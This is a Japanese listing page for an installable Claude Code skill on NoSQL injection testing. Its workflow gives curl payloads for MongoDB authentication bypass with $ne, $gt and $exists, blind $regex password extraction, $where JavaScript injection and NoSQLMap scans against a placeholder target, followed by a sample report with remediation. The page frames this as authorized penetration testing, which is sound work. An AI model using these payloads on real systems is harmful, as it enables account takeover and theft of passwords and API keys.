exploiting-nosql-injection-vulnerabilities について
MongoDB などを使う Web アプリや JSON を受け付ける API のテスト担当者向けに、NoSQL インジェクションの検証手順をまとめています。オペレーター注入、認証回避、ブラインド抽出、自動テストを扱います。
主な機能
- 01NoSQL インジェクション箇所の特定
- 02オペレーター注入と認証回避の検証
- 03ブラインド注入によるデータ抽出
- 04JavaScript インジェクションの検証
- 05NoSQLMap による自動テスト
活用シーン
- 01MongoDB を使うログイン機能の評価
- 02JSON を受け付ける API のテスト
- 03データベースクエリ構築のレビュー
- 04許可されたテストでのデータ露出リスク確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-nosql-injection-vulnerabilitiesインストール後、Claude Code で/exploiting-nosql-injection-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
NoSQL インジェクションの脆弱性を悪用する
使用する場面
- NoSQL データベースを使用するアプリケーションの Web アプリケーション侵入テスト中
- MongoDB または類似のデータベースを利用する認証メカニズムのテスト時
- データベースクエリ用の JSON 入力を受け付ける API の評価時
- NoSQL バックエンドを使用するアプリケーションのバグバウンティ活動中
- データベースクエリの構築に関するセキュリティコードレビューの実施時
前提条件
- JSON に対応した Burp Suite Professional または Community Edition
- NoSQLMap ツールのインストール(
pip install nosqlmapまたは GitHub から入手) - MongoDB クエリ演算子($ne、$gt、$regex、$where、$exists)の理解
- NoSQL データベース(MongoDB、CouchDB、Cassandra)を使用する対象アプリケーション
- HTTP トラフィックを傍受するためのプロキシ設定
- カスタムペイロードのスクリプト作成用の Python 3.x
ワークフロー
ステップ 1 — NoSQL インジェクションのポイントを特定する
# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin\"", "password": "test"}'
# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"
# Check for error-based detection
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt": ""}}'
ステップ 2 — 認証バイパスを実行する
# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
# Bypass with $gt operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Target specific user with regex
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
# Bypass using $exists operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
ステップ 3 — ブールベースのブラインドインジェクションでデータを抽出する
# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^a"}}'
# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
ステップ 4 — $where による JavaScript インジェクションを悪用する
# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.username == \"admin\""}'
# Time-based detection with sleep
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.password.match(/^a/) != null"}'
ステップ 5 — NoSQLMap で自動テストを行う
# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
--method POST \
--data '{"username":"test","password":"test"}'
# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
ステップ 6 — URL パラメーターのインジェクションをテストする
# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"
# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
-H "X-User-Id: {'\$ne': null}"
主要な概念
| 概念 | 説明 |
|---|---|
| 演算子インジェクション | クエリパラメーターに MongoDB 演算子($ne、$gt、$regex)を注入すること |
| 認証バイパス | 演算子を使用して任意のドキュメントに一致させ、ログインチェックを回避すること |
| ブラインド抽出 | $regex に対するブール値の応答を利用し、1 文字ずつデータを抽出すること |
| $where インジェクション | $where 演算子を介して MongoDB サーバー上で任意の JavaScript を実行すること |
| 型のすり替え | NoSQL データベースが異なる入力型(文字列とオブジェクト)を処理する方法を悪用すること |
| BSON インジェクション | MongoDB のワイヤープロトコルにおける Binary JSON のシリアル化を操作すること |
| サーバーサイド JS | クエリ評価のために MongoDB で利用できる JavaScript の実行コンテキスト |
ツールとシステム
| ツール | 目的 |
|---|---|
| NoSQLMap | NoSQL インジェクションの検出と悪用を自動化するフレームワーク |
| Burp Suite | JSON リクエストを傍受・変更するための HTTP プロキシ |
| MongoDB Shell | クエリの動作をテストするためのデータベースへの直接操作 |
| nosqli | NoSQL インジェクション専用のスキャナー兼悪用ツール |
| PayloadsAllTheThings | 厳選された NoSQL インジェクションペイロードのリポジトリ |
| Nuclei | NoSQL インジェクション検出用テンプレートを備えた、テンプレートベースのスキャナー |
| Postman | NoSQL インジェクションリクエストを作成するための API テストプラットフォーム |
よくあるシナリオ
- ログインバイパス — ユーザー名とパスワードのフィールドに
{"$ne": ""}演算子を注入し、MongoDB ベースの認証を回避します - データの列挙 — 直接出力が見えない場合、
$regexによるブラインドインジェクションでデータベースの内容を 1 文字ずつ抽出します - 権限昇格 — プロフィール更新エンドポイントへの NoSQL インジェクションを通じて、ユーザーのロールフィールドを変更します
- API キーの抽出 — ブールベースのブラインド手法を通じて、MongoDB コレクションに保存された API キーやトークンを抽出します
- アカウント乗っ取り — 正規表現インジェクションで有効なユーザー名を列挙し、演算子ベースの認証バイパスを通じてパスワードを総当たりします
出力形式
## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)
### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |
### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator
### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls
コメント
Markdown 対応